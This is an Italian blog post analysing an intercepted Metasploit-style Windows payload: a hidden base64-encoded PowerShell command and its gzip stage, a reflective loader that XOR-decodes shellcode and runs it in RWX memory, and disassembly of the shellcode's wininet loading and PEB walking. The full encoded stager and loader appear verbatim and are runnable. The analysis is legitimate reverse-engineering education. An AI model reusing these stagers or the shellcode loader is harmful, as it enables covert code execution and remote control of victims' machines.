
Analisi statica guidata di uno shellcode Windows di Metasploit: decodifica del payload PowerShell, offuscamento XOR, PEB walking e risoluzione della Export Address Table.
Per un primo post del blog, ho pensato che sarebbe bello analizzare una comune shellcode di Metasploit - è un'ottima occasione per discutere argomenti come encoding, PEB, shellcode Windows ed Export Address Tables.
Iniziamo con una lunga riga di comando intercettata:```powershell "powershell.exe" -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBBAEEAQQBBAEEAQQBBAEEAQQBLADEAWABXADIALwBpAFMAQgBaACsARAByAC8AQwBEADUARQBBAFEAWQBpAE4AQwBZAEYAZQB0AFQAVAA0AGgAawAzAEEARQBHAHkAdQBtAFMAZwBxADcAQQBJAE0AdgB1AEIAeQBHAFQARABUAC8AZAAvAG4AMgBFAEEAbQB2AFoAMwBlAGIAVwBrAFgAeQBhAEsAcQBmAEsANwBmAHUAZABTAHgAZwBlAG0AZABRAFkAbABqADAAVgA1AGcAWQArAFoAdQBqAEUAbgBrAEIARAA1AFQAegBlAFYAdQBwAFUAQwBqAHoARgBmAG0AagAzAHgAdQBHAGYAcwBXAFQAWQAvAFQAeABkAHMASwAwADcAYwBkAEMAYQB3ADMAWgBOAHMARQBSAHgASAB6AFYAKwA1AG0AZwBBAGoAeQBtAE0ATAB0AEgAcABFADMATAA3AEIAagBGADUAZQBaAGIASgBNAFMAWQBqAHMAbQB1AEgAaAB6AGsANwB2AEoAagBtAEkALwBRAGsAdgA4ADUAaQBQAHEANwBQAEcAYgBoACsAawA2AHMAQwBOAFEAVgBIAGgAcAA3AFgAWgBTADQAQwBIAEgAZgAvADMAeQBSAFkAdwBKAHcAVAA0ADkANwB5AHQAdABUAEYAdABSAGgATAAyAEYANgArAEMAbwBVAEcAUwArAE0AWgBNADEASgB2AGkAdQB2ADkAaABnAGkAegBKAC8ATQBiAGQAdgBsAGIAWQBiAEwASgBCADcASQBVAHQARQBaAEsAMwBCAG8AWgBaAHYAcAArACsANgBnAFkAVgBTAEQAeQByAEcAegBuAFYAbwBJAGYALwBuAG4ALwBuAGkAeQB4ADMAMwBXAHAASABEAEcATABsAFIASQBXADgAawBFAGMAVgBlAHgAWABiAGQAZgBKAEgANQBYAGsAdwBWAG0AcwBrAE8ARgAvAEkAOQB4AHkASgBCAEYAQwB4AHAAWgBlAEwANABmAEwAVQB5AHkAcQB6AFgATQArAE4ANwBaADkAdgB6AHgAWQB0AG4AcQB4ADAAQwBQADMANwB0AFoAQwByADEAegBGAFAASQB3ADMASQBBADIATABUAE8ARwBPAGIATAB6AEUAdQBxADcAKwBYADEAbABmAG4AagAzAFoAcABoADcARgBQAEgAdwB4AFgATgBwADUAZwBFAE8AdwBPAFQAdgBXAFAAaABxAEsASQBpADMAMwBiAHgARQBDACsAQgBMAFIAOQBCACsAUAB4AFYAdgBnAGgARwBFAEUAeABqADQAagBOAFgAVwA0AEIAdgBIADIAeAB4ADQAZABhAFAAWABiAGMATQBjAGwAOQArAFYAKwA1AHIAUQBjAGUASABLADcAaQAvAHkAMQBUADQAeQBBAFIAVQBBADAAcQBLADUAVQB0AE8ALwBBADQAYwB2AFMAeAB2AHoAdQBMAEEAbgBaACsAcwAvADUAQgBjAFIAZgBqADkAbABHAEQARgAzAFAAZgBjAEoANgBsAHEAWQB4AGUAdgBFAE0AVgB2AEYAUABEADkAawBLAHUANQBtADUAdQBYAGIASQBuAEIAbgA4AEkAZwBpAEoAeQBNADcAeQB2AEQAbABwAGsAZQBHAEkARgBvAFEASgBJADAAbgBDAGEASgBjAGYASAAxAG4ALwBpAGMAMQBWADQANQBvAC8ASQB2AEIAWABGAFgAcgBnAHYAUABPAFQAeABuAE8ANwA0AHkATAArAFAAQQBzAFYAOQB6AE4AOABYAGMASgBYAHYAUwA4ADcAZABGADcATABnADIASgB1AG4ANwBYADEAZQBEAGgASgBlAE8AagA2AFgARQBSADUANQBqAFgAUgBPACsAOABGAG4ATQA4AE4ATABGAEcAUgA2AFYASwA1AGsATwBkAGgAYgB5AGwAeABmAFkAbABpADcAbwA1AEYATgBBAFgAMwA1AG0AawB6ADIASAB2AHYATQBLAFoAKwBOAGEARgBzAFEAOQBBAHEAcwBnAEoAWQBvAC8ARwBuAE8ATwBZAFMARwB2ACsAVAAzAHMAQQBYADcAbgBQAGEAVABwADcAUgBMAEsARABGACsAcABMADYAVwBWAFgATABXAG4AKwB6AFMAWABSAFIAZABGAFUAWgBrAFoAeABGAEQAbgBWAHAAawB4AE0ASABLAHgAWABXAFoAYQBmAHUAUgBjAFgAcgBWAGkARwBtAFQATAAvAEQALwBtADkAbQBLAFgATwBoAGEASwA2AEYAWABjAGEALwBFAFQAUwBDACsAcQB4AGMAQwBIAGkAbwBrAHQAaQBDADcAQQBZAEIAbwA3AGIARABuAEkAVABWAEUAcABNADYAcABqAFkAeQBFAHgAbgBOAFgAVgBoAFAAeQBuAG0ASQBqAEkAZABhAEgAawBRAE4ASQBlAFkAZwBJAG4ASwBSAFkARwBUAFgATwBHADIATwBWAC8AegA0ADkAaQB4AGMAQgBVADgAMwBZAHUAOQBvAEEANgA2ADAASwBLAGkAMQBiAFEAYwB5ADQAVgBsAGEAVQBiAFcAbQBFADcALwB4AC8ATQB2AHQAYgBKAHUAUwBoAFMAcgBLADQAZwBmAFQAQQBhAEUAcwBCAHcAQQAxAHAAbQB4AGcANgBoADAATgBmAHkANQBaADgAUwA3ADMAOAB6ADcAOABjAFcAOAA0AE8AWgBJAHMARwBYAFEAQgBhAHkAUQBuAHcAUgBFAHAAcQBXAFMAMABaAHAAcABaAGYATAAxADMAYwBzAE0AKwBRAEkAQgBkAFEAVQBFAG4AZwBDAGkAbgBDADkAWgBtAFIAdAByAEoARABuAEcAMwBHAG8ASgBiADMATgBjADUAMgAwADUAYgAyAGkAaABxAHAAcwB3AHIATwBIAGgAdwA4AFYAdQBkAHYAdABEAEgAZgBDAHMARwB2AEoAYwBYACsAZwBzAHAAMgBsADkAdAB5AFEAYQB2AEUAaAAxAG0ASgBUAFkASABtAEYAQgBiAHAAVAAyAEoAYQBYADIAcgA0AGYAegBMAGoAWQBxADMASAAyAFQAdAB2AHIAYwBCAFkAOQBoAG0AbwBrAGEAWAB1AHAAcABWAGIARABRAEsAbQB2AG4ATwBaAEYAegBwAG4ALwBlAFgASABnAEYAbABOAE4AZQBWAHkAMABsAFoAbwA2AGoAcABTAFUAWAB0AFgAMgBnAGgASwBLAHoAUQBEAFcAOQA5AHAAZQBEAEQAcgBBADEANgBqAHYAZgBPAEYAZwAxADcARABjAHEAZQBOAHAAMQB6AHIAdwB0AEkASABSADYAcABnADgAagBVAHMARwB5ADcAWABIAGkAZAA0AGQAeQB6AHYAZAA4AE8AMwB1AGcAbgB0AFcATwB2AHEAcABtAG8AQgBQADQASgBmAEIAcQAwAFAAVwBoAHMAYwA0AHUAdAB3AGsATQBLADEAbQBGAEsAcQBwAHYAMQBqAG8AaABwAGIAZgA2AFcAaABxAEoAegBFAGUAVgBvADYAVwA2AEEAZQBMAHAAVwB4AEkAVABpADQALwBtAEoAKwBTAHMAQQBIADgAZQBnADAAdwBPAFIAcABKAGIAMQBpAHIAMgAwAGQAcgBxAGgAeQBzAHEAZAA1AE4AMQBKAG4AZQBCAGgAMQBoAFAARgBuAFYAVgBMADAAYgBIAEYAcwBiAHIAVQA0AGsAdwA3AEIAUABoAG4AbgBrAEQARwA3AHUANwB0AEgAVQBhAHYAcQBIAFQATAA5AGgASAB3AC8AMgBLAE8AcAAzAFQARAByAGoAQgA4AGkAcgBKAFkAbABmAE4ANwBTAE4AZAB1AHgAYQBPAHoAcQBlAGQAdQBvAEUASgBlAEsAdQA2ACsAQwBGAHMASwBTAHAAMwBFADUAMwB2AHUAbwAwAFoAVgBqAEwAOQBNAGcAYQB4AGoAQwB4AFEAYQArAHIAbQB0AEkAVAA2AFAAWABGAFgAZwA5ADgAUQBBAC8ASwBiAEkAdgA1AHcAZABOAEUAUAAxAG0AOAAwAEwAVQBTAG8AbwBFAGYAZwA2AGUANgBBADcASQBiAHQATQBmAEQAdQBhAFIAMgBUAE8AegBKAG0ALwBWAGsAdwBYAGIAdgA1ADQANwBxAGoAbwBWAG8ANQBVADMAQgAxAHIAMwBDAEMAcQBqAFoAZgA4AFMAcwBsAGcAagBTAGIATwA2AGIAcABjADcAagBWAGoAZQA1AFcAVwAwAHAAegBzAGEAVwA0AE8AcwB6AGkAUwBUAHgANQBtAEIAVwBSADgAWQB6AEkAYQBFADQAOAA1AHQAMgBTAFYAcgAzAEgAUABOAFEANQBZAGoAcwBEAFoAUwBxAFcATABJADIAVQBwADgAZgBpAEgAcAAxAEoATQArAEgAawB0AGUAUgBoADEAdAB1ADIAbgA3AFcAWQAyAE0AcgBEAEUAMQBGADYAQQAzAEgAVgBuACsAbQBLAEcAagBFADIAYgAyAFoAcgA0AGUAUwBNAE4ASgBsAHAANwBiAFQANgBqAFMAYQArAEYANQBIADIAbABSAFgAdwBpAEgAdwB4AEoAcABMAEgAKwBlAGMAZABQAEsAawBSAGYAdQBoAFcAVwBWADcALwB0AHAAQgBhAHUAZwAxAGgAdwB2AFAAVgA3AGwAQgBzAGcANwBrAGIAYgBjACsAbgBvAHgASABiAHQAUwBVADEAcAB6AFgAdQBwAGYAbABoAGoAbwBYAEoAcQB2ADcASgBoAEcATgBoAEgAOABvAEwAVgBsAFIAbwBNAE8ASgB2AHkARwBHAGYASQBqAHEALwBuAHIAZQBxADYARgBtAGoAVABYAEcATQBlAEkAZQAyAGcAbwBWAGsAMQBEAFgANQB1AHQAawBMAFkALwBOAG0AUwBWAHQAYQBKAHUAcQA0ADYAUABxAEsAZQB6AGoAWQB5AGYAdQBxAEUASQBzADkAMABmAG0ASwB2AFQAawBiAGQAUQBZADcATABnAGgASwBkAFUANAAzADYAYgByAEoARQBtAFEAZABOAFQAWAB6ADkAUABKAG8AZQBGADEAVABuAFMARABxADAATABvADAAdABPAGoATQA5AHoAegBoAHQAdAByAGoAWQBpADQAdgBQAGMAcwBQAGgAUwByADcAUAAzADgAaABIAGgAVQBHAGsAcwBQAC8AaQBDAHUARwByAHYAVgBZAC8AMQBBAEoAeQAyADcAcABEAHkATAA5AG0ASABRADMAMQBDAEwANAAwAHYAeAAwAFQAUwBmAFAAZgBYAG8AMQBMAGYAVgBKAHYAZgBVADUATQBtADQAMABWAEkAcwBhAGIASwB4AEEAOQBPAGYAaQBOADYAdwB0AFYAWgB4AEQARABuADEANQBGAEUAYQBTAGEAZgBsAGcAbgBpAG8AUABtAG4AYwBEADQAUgBHAGUAMwAyAGEASgB0AHUAQgB5AGIAdAAwAC8AUABRAFEAYwBIADEALwBLAFoAcwBMAGQAcgBpADQAZAB6AHEAQgBGAEEAbAB6AGIAVwBNADAAKwA1AFAAVgBGAEgASgB4ADYAMgA0AGcAagAwACsAUQAwADEAMQA0AE4AaABvAC8ANwBPAEsAYQBmAFQAaABDAGoAawBXAGQASQBLADIAVgBqAGIAYgBmAEoAZABZAFQAawBXADAANQAyAHIAUgBnAGIANgBuAGoAYgBtADgAeABDAFEALwAyAHEAYgBxAEwAOQBlAGsARABXAG0AMgAxAFcASQBRAGEAWAA3AFIAeABTAGUAcQBHADkATgBIAGkAWgBUAG8AWgBiAGUAZABQADUAcQBpAGwAUAA4AHYASAB2AHMAWQAvACsAUAB5ADIAOQBqAFgAdABYAHMAdQBBAHcARAB4AHkAVABPAC8ANABmAHoASAB3AGYAKwBkAFMANQByADAALwBRAFYAZQBDAGgAcABlAGUAbAAwAHIARgBkAEUANQA0AGYALwBOAHkAZQAzAHkAOQB6AG4AWAB2ACsANwB2AEYARQBhAFQAeABEADIAbQB2AHkAOQA3AHMAMABZAGMATwA5ADYAdABoAHEAWQBkAEkAdABFAFkAdQBkAEQANABZAGUASwA3AFgAbABSAEkAUQA1AFQASwAyAEQAQQBJAG4ANQBTAGcAVQBQAHAAKwAwAHQANQBqADQAMgBJAFUAcABGAE8AYgBVAGEANQBOAHYAdQBXADUAZwBwAFkAUABXAEwAeQBZAGUARwBQAHYATwB3ADkAZwByAFgARwBZAGoAVwBQAEwAVgBUADEAZABGADUAcAAwAFEAcABxAHUAegBUADQAdAA0AHUAYwB5AEcAawBZAHUASAAxADUAbgBzAFMAdgBqAGwAeQB4AHoAYwBLADMAOABBAHMAWQB2ADkARgBWADIAWABHAGYAYgBJAHMAeQB5AGIALwB0AGYAWQBZAHUANwAzAFkAUgBHAEQAWABWAEoANABGADEAZABPAGgANwBFAFAAbABuAHoAVQA1AEcAYQBhAGkAaABmADAAUwBlAHgANwArAFAAOABZAGcAQgArAFUALwBuAGQAbwBVAC8AQwB5AGUAZQA0AGQAdQBzAHkAZwB6AC8ARQBxADUAdgBKAC8ANQBIAEwAYQBrAHYAbAB3AEgAagBrAG4AKwBGAHIAQgBJAGQAUABJAGMAaQArAGkAaQBOAEMANwBUAGIAQwBBAFQANQB2AHMAcgBpADcAYwBvAGkASwBqAHkAVgBQAG0ARgBqAEgAZgBtAFQAdAB3AHIAeABYAHgAVgBmAGkAKwBJAGEAcwA0AHYAYgBpAFoAOAArAGYAYQBOACsAYQBBAG4ARABQAGoATgAyAGEASQBMAFEAegBqADkAbAAwAG4AVwBFAEMAVwBZAHAAaQAvAFUAdABHAFoAawBKAFEAWQB6AHYANABHAHMAegBBAEwASgB2ADgATgBBAEEAQQA9ACIAKQApADsASQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAHoAaQBwAFMAdAByAGUAYQBtACgAJABzACwAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAKQApAC4AUgBlAGEAZABUAG8ARQBuAGQAKAApADsA
Questa è una riga di comando PowerShell codificata in [base64](https://en.wikipedia.org/wiki/Base64) (indicata dal flag `-encodedcommand`). Quando viene decodificata, appare così:```powershell
$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("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"));
IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();
Questo payload esegue un'ulteriore decodifica base64 (della parte che inizia con "H4sIA...") e la salva in un memory stream ($s).
Poi lo tratta come uno stream compresso (gzip), lo decomprime ed esegue il contenuto (con IEX).
È abbastanza semplice decomprimerlo - puoi usare PowerShell, CyberChef o persino Python:```python
import io, gzip, base64
x=b'H4sIAAAAAAAAAK1...' # Omitted
print(gzip.GzipFile(fileobj=io.BytesIO(base64.b64decode(x[:]))).read().decode())
L'output contiene più comandi PowerShell, questa volta con una logica più complessa:```powershell
Set-StrictMode -Version 2
$DoIt = @'
function func_get_proc_address {
Param ($var_module, $var_procedure)
$var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}
function func_get_delegate_type {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
[Parameter(Position = 1)] [Type] $var_return_type = [Void]
)
$var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
$var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')
return $var_type_builder.CreateType()
}
[Byte[]]$var_code = [System.Convert]::FromBase64String('38uqIyMjQ6rGEvFHqHETqHEvqHE3qFELLJRpBRLcEuOPH0JfIQ8D4uwuIuTB03F0qHEzqGEfIvOoY1um41dpIvNzqGs7qHsDIvDAH2qoF6gi9RLcEuOP4uwuIuQbw1bXIF7bGF4HVsF7qHsHIvBFqC9oqHs/IvCoJ6gi86pnBwd4eEJ6eXLcw3t8eagxyKV+S01GVyNLVEpNSndLb1QFJNz2yyMjIyMS3HR0dHR0Sxl1WoTc9sqHIyMjeBLqcnJJIHJyS5giIyNwc0t0qrzl3PZzyq8jIyN4EvFxSyMR46dxcXFwcXNLyHYNGNz2quWg4HNLoxAjI6rDSSdzSTx1S1ZlvaXc9nwS3HR0SdxwdUsOJTtY3Pam4yyn6SIjIxLcptVXJ6rayCpLiebBftz2quJLZgJ9Etz2Etx0SSRydXNLlHTDKNz2nCMMIyMa5FYke3PKWNzc3BLcyrIiIyPK6iIjI8tM3NzcDHJTemEjhWb0L/ZiHlVBsgmXSSdvF0Ba9O7e0IyBDYZnT+J7kNT1Y4fCYVcBnNYDryujwT2USQrrqCYn9d+DhMiTw21rEmPF2C+cjDO3PCN2UEZRDmJERk1XGQNuSkBRTFBMRVcOYFFaU1dMYnNqDBUNEi4pI6tsWnmJDj2gBwomC4lt7Z1DzmDbG5920MnhiaHqm9RbmnH1PyhoEkL6VWVUls9Dh1mA/EE8HZBWg/9rCSy35+f0CBtRWnjrSEws6nhZM4a940SVua15GFtCyqNIZhyhEVTYcDjtGtHVxHmF077JuJHBuEOUTgqmEks8Pp1Rr+41ndthyyyaDxNhQXWw8mJztje2Bqltz7iRv3SlMAUrCf/mc3qC20/Zza3a+VD5nPu2Spg76wtWAd+FQCdwPOjtc13+uxTTQmHxi6k291K93rV8AFcDWjdoTnWCmRAhHeu1S1KmttsDzfbrma6W8/PB8GhzXykPT3ltVK5o1OnfETb0Rb/iJoDsBZIjS9OWgXXc9kljSyMzIyNLIyNjI3RLe4dwxtz2sJojIyMjIvpycKrEdEsjAyMjcHVLMbWqwdz2puNX5agkIuCm41bGe+DLqt7c3EtWUkZKTUANQExOI35n3k4=')
for ($x = 0; $x -lt $var_code.Count; $x++) {
$var_code[$x] = $var_code[$x] -bxor 35
}
$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)
$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))
$var_runme.Invoke([IntPtr]::Zero)
'@
If ([IntPtr]::size -eq 8) {
start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job
}
else {
IEX $DoIt
}
Analizziamolo nel dettaglio:
$DoIt contiene la maggior parte della logica. Definisce una funzione chiamata func_get_proc_address che è solo un wrapper per kernel32!GetProcAddress, e usa la funzione func_get_delegate_type per ottenere un delegato riflessivo.$var_code è un altro (!) payload base64, ma questa volta è meno evidente: provare a decodificarlo ingenuamente produce solo dati incomprensibili.$var_code viene XOR-ata byte per byte con il valore 35. Questo spiega già perché la decodifica non produce stringhe, ma anche dopo lo XOR non sembra promettente senza il contesto giusto.$var_buffer) con flAllocationType=0x3000 e flProtect=0x40. Consultando MSDN si scopre che il tipo di allocazione è e la protezione della pagina è .Questo ci dice che il payload codificato in base64 deve essere trattato come uno shellcode a 32 bit. Analizziamolo di nuovo staticamente, applicando lo XOR e scrivendolo su un file binario:```python import base64 x=b'38uqIyMjQ6rGEvFHqHE...' # Omitted open(r'/tmp/payload.bin', 'wb').write(bytes([ i^35 for i in base64.b64decode(x) ]))
È qui che inizia il divertimento. Puoi usare il tuo disassembler preferito (IDA, Binary Ninja, ecc.).
Ci sono anche alcuni ottimi [disassembler online](https://shell-storm.org/online/Online-Assembler-and-Disassembler) a tua disposizione se non ti preoccupi dell'opsec.
L'inizio dello shellcode è all'offset 0 e il codice deve essere trattato come codice X86.
## Esplorare il PEB
Il codice inizia con un'istruzione CALL:```assembly
0x0000000000000000: FC cld
0x0000000000000001: E8 89 00 00 00 call 0x8f
L'istruzione cld azzera il flag di direzione (così le operazioni sulle stringhe come movsb procedono in avanti e non all'indietro), e poi esegue una chiamata relativa a 0x8f.
Poiché call inserisce l'istruzione successiva nello stack, ricordiamo che nello stack è stata inserita l'indirizzo che si trova all'offset 6 nella shellcode.
Esaminiamo il codice all'offset 0x8f:```assembly
0x000000000000008f: 5D pop ebp
0x0000000000000090: 68 6E 65 74 00 push 0x74656e
0x0000000000000095: 68 77 69 6E 69 push 0x696e6977
0x000000000000009a: 54 push esp
0x000000000000009b: 68 4C 77 26 07 push 0x726774c
0x00000000000000a0: FF D5 call ebp
Usare immediatamente una `pop` per salvare l'indirizzo è un trucco comune nello shellcoding (sequenza `call-pop`).
I push successivi sono interessanti: in apparenza sembrano costanti strane, ma decodificandoli come stringhe ANSI si rivela qualcosa di interessante:```python
import struct
struct.pack('<LL', 0x696e6977, 0x74656e)
Poiché stiamo osservando i push sullo stack - ho dovuto estrarli nell'ordine opposto e assicurarmi di usare Little Endian (che è il simbolo < nel codice).
Questo stampa b'wininet\x00', che è il nome di una DLL di Windows usata per le comunicazioni Internet.
Nota che push esp inserisce l'indirizzo della cima dello stack, un modo utile per ottenere un puntatore alla stringa NUL-terminata wininet.
Proseguendo, inseriamo un'altra costante (0x726774c) - questa non decodifica nulla di significativo, e chiamiamo ebp. Ricorda che ebp punta a un pezzo di codice all'offset 6 dall'inizio dello shellcode, quindi esaminiamo quella parte!
Il codice all'offset 6 inizia con alcune istruzioni interessanti:```assembly
0x0000000000000006: 60 pushad
0x0000000000000007: 89 E5 mov ebp, esp
0x0000000000000009: 31 D2 xor edx, edx
0x000000000000000b: 64 8B 52 30 mov edx, dword ptr fs:[edx + 0x30]
0x000000000000000f: 8B 52 0C mov edx, dword ptr [edx + 0xc]
0x0000000000000012: 8B 52 14 mov edx, dword ptr [edx + 0x14]
0x0000000000000015: 8B 72 28 mov esi, dword ptr [edx + 0x28]
0x0000000000000018: 0F B7 4A 26 movzx ecx, word ptr [edx + 0x26]
Dopo un semplice prologo (che salva tutti i registri e crea un nuovo stack frame), vediamo che `edx` viene azzerato (tramite self-XOR).
Poi, `edx` riceve l'indirizzo di `fs:[0x30]`. Questo indirizzo è il [Process Environment Block (PEB)](https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb).
Il PEB è un blocco in usermode che contiene dati utili del processo, inclusi la riga di comando, lo stato di debug, i moduli caricati e altro. È un'ottimizzazione prestazionale per evitare syscall del kernel non necessarie.
Vediamo diversi indirizzi referenziati - in IDA si potrebbe caricare la struttura PEB, ma per completezza:
- Offset 0xc è il membro `LDR` del `PEB`, di tipo `PPEB_LDR_DATA`, documentato [qui](https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb_ldr_data).
- Offset 0x14 nella struttura `PEB_LDR_DATA` è il membro `InMemoryOrderModuleList`, di tipo `LIST_ENTRY`. La struttura `LIST_ENTRY` è ampiamente usata in Windows ed è solitamente solo un'intestazione in una struttura più grande. Questo caso non fa eccezione - il tipo reale delle voci è `LDR_DATA_TABLE_ENTRY`.
- All'offset 0x24 in `LDR_DATA_TABLE_ENTRY` esiste un membro `FullDllName` di tipo `UNICODE_STRING`. Questo tipo è ampiamente usato in Windows ed è essenzialmente un contenitore per una stringa in stile Pascal: le prime due WORD descrivono la lunghezza della stringa e la capacità del buffer. Pertanto, a 0x28 troveremo il buffer effettivo, che verrà salvato nel registro `esi`.
- Il registro `ecx` si trova solo 2 byte prima del buffer del nome DLL e contiene la lunghezza della stringa.
